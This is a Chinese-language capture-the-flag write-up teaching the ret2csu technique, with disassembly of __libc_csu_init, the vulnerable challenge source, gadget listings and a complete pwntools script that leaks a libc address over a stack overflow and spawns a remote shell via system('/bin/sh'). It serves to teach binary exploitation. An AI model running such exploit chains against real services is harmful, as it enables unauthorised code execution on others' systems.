原理学习:
什么时候用?
找不到简单指令(如 pop rdi; ret
, pop rsi; ret
, pop rdx; ret
)的情况下。
所以我们看到_libc_csu_init这个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 .text:0000000000401250 __libc_csu_init proc near ; DATA XREF: _start+1A↑o .text:0000000000401250 ; __unwind { .text:0000000000401250 endbr64 .text:0000000000401254 push r15 .text:0000000000401256 lea r15, __frame_dummy_init_array_entry .text:000000000040125D push r14 .text:000000000040125F mov r14, rdx .text:0000000000401262 push r13 .text:0000000000401264 mov r13, rsi .text:0000000000401267 push r12 .text:0000000000401269 mov r12d, edi .text:000000000040126C push rbp .text:000000000040126D lea rbp, __do_global_dtors_aux_fini_array_entry .text:0000000000401274 push rbx .text:0000000000401275 sub rbp, r15 .text:0000000000401278 sub rsp, 8 .text:000000000040127C call _init_proc .text:0000000000401281 sar rbp, 3 .text:0000000000401285 jz short loc_4012A6 .text:0000000000401287 xor ebx, ebx .text:0000000000401289 nop dword ptr [rax+00000000h] .text:0000000000401290 .text:0000000000401290 loc_401290: ; CODE XREF: __libc_csu_init+54↓j .text:0000000000401290 mov rdx, r14 //rdx = r14 .text:0000000000401293 mov rsi, r13 //rsi = r13 .text:0000000000401296 mov edi, r12d //edi = r12d .text:0000000000401299 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8] .text:000000000040129D add rbx, 1 .text:00000000004012A1 cmp rbp, rbx .text:00000000004012A4 jnz short loc_401290 .text:00000000004012A6 .text:00000000004012A6 loc_4012A6: ; CODE XREF: __libc_csu_init+35↑j .text:00000000004012A6 add rsp, 8 .text:00000000004012AA pop rbx .text:00000000004012AB pop rbp .text:00000000004012AC pop r12 .text:00000000004012AE pop r13 .text:00000000004012B0 pop r14 .text:00000000004012B2 pop r15 .text:00000000004012B4 retn .text:00000000004012B4 ; } // starts at 401250 .text:00000000004012B4 __libc_csu_init endp
可以看到rdx = r14,rsi = r13,edi = r12d,可以看到rdx,rsi,edi可以通过r14, r13,r12d来控制,从而我们就可以解决这些指令缺少的问
题。
具体讲一下怎么利用的:
当执行__libc_csu_init(.text:0000000000401285 jz short loc_4012A6)是先执行loc_4012A6:,再loc_401290:
1 2 3 4 5 6 7 8 9 .text:00000000004012A6 loc_4012A6: ; CODE XREF: __libc_csu_init+35↑j .text:00000000004012A6 add rsp, 8 .text:00000000004012AA pop rbx .text:00000000004012AB pop rbp .text:00000000004012AC pop r12 .text:00000000004012AE pop r13 .text:00000000004012B0 pop r14 .text:00000000004012B2 pop r15 .text:00000000004012B4 retn
1 2 3 4 5 6 7 8 .text:0000000000401290 loc_401290: ; CODE XREF: __libc_csu_init+54↓j .text:0000000000401290 mov rdx, r14 //rdx = r14 .text:0000000000401293 mov rsi, r13 //rsi = r13 .text:0000000000401296 mov edi, r12d //edi = r12d .text:0000000000401299 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8] .text:000000000040129D add rbx, 1 .text:00000000004012A1 cmp rbp, rbx //比较rbp, rbx .text:00000000004012A4 jnz short loc_401290 //判断为假跳到401290
我们要他继续往下执行所以我们要是其为真,因此rbp, rbx得相等,我们先设置rbp = 1,rbx = 0;执行到add rbx, 1 –> rbx = 1,正好达
到rbp = rbx,r14设置成原本要在rdx要的参数,r13和r12也同理。
注释:由于高32位基本为0 ,所以 rdi = edi = r12d。
1 .text:0000000000401299 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
我们只要把r15设置成我们需要执行的function,就可以 call function 。(r15+rbx * 8 = r15+0 * 8 = r15)
题目
1 2 3 4 5 6 7 8 9 int __fastcall main (int argc, const char **argv, const char **envp) { setbuf(stdin , 0LL ); setbuf(stderr , 0LL ); setbuf(_bss_start, 0LL ); write(1 , "Start Your Exploit!\n" , 0x14u LL); vuln(); return 0 ; }
1 2 3 4 5 6 7 8 ssize_t vuln () { char buf[256 ]; write(1 , "Input:\n" , 7uLL ); read(0 , buf, 0x200u LL); return write(1 , "Ok.\n" , 4uLL ); }
存在栈溢出。
1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
开启NX不能直接注入shellcode
这里找不到pop rdi; ret
, pop rsi; ret
, pop rdx; ret
但是有__libc_csu_init
1 2 3 4 5 6 7 8 9 10 11 12 13 14 Gadgets information ============================================================ 0x00000000004012ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004012ae : pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004012b0 : pop r14 ; pop r15 ; ret 0x00000000004012b2 : pop r15 ; ret 0x00000000004012ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004012af : pop rbp ; pop r14 ; pop r15 ; ret 0x000000000040115d : pop rbp ; ret 0x00000000004012b3 : pop rdi ; ret 0x00000000004012b1 : pop rsi ; pop r15 ; ret 0x00000000004012ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040101a : ret 0x00000000004011ba : ret 0xfffe
我们可以利用栈溢出构造ROP链进行攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *io=remote('node5.anna.nssctf.cn' ,26879 ) elf=ELF("./ret2csu" ) libc=ELF("./libc.so.6" ) write_got=0x404018 write_plt=0x401064 csu_start=0x0000000000401290 csu_end=0x000000004012AA main=0x0000000004011DC def csu (rbx,rbp,r15,r13,r14,r12,ret_addr ): pay=b'a' *(0x100 +8 )+p64(csu_end)+p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15) pay+=p64(csu_start) pay+=b'a' *56 +p64(ret_addr) //56 填充的是loc_4012A6的7 个pop|ret的地址。 io.sendline(pay) sleep(1 ) io.recvuntil('Input:\n' ) csu(0 ,1 ,write_got,write_got,8 ,1 ,main) io.recvuntil("Ok.\n" ) write_addr=u64(io.recv(8 )) print (f"write_addr==>{hex (write_addr)} " )base=write_addr-libc.sym['write' ] system=base+libc.sym['system' ] bin_sh_addr=base+next (libc.search(b"/bin/sh" )) rdi = 0x00000000004012b3 ret = 0x000000000040101a pay=b'a' *0x108 +p64(ret)+p64(rdi)+p64(bin_sh_addr)+p64(system) io.sendlineafter('Input:\n' ,pay) io.interactive()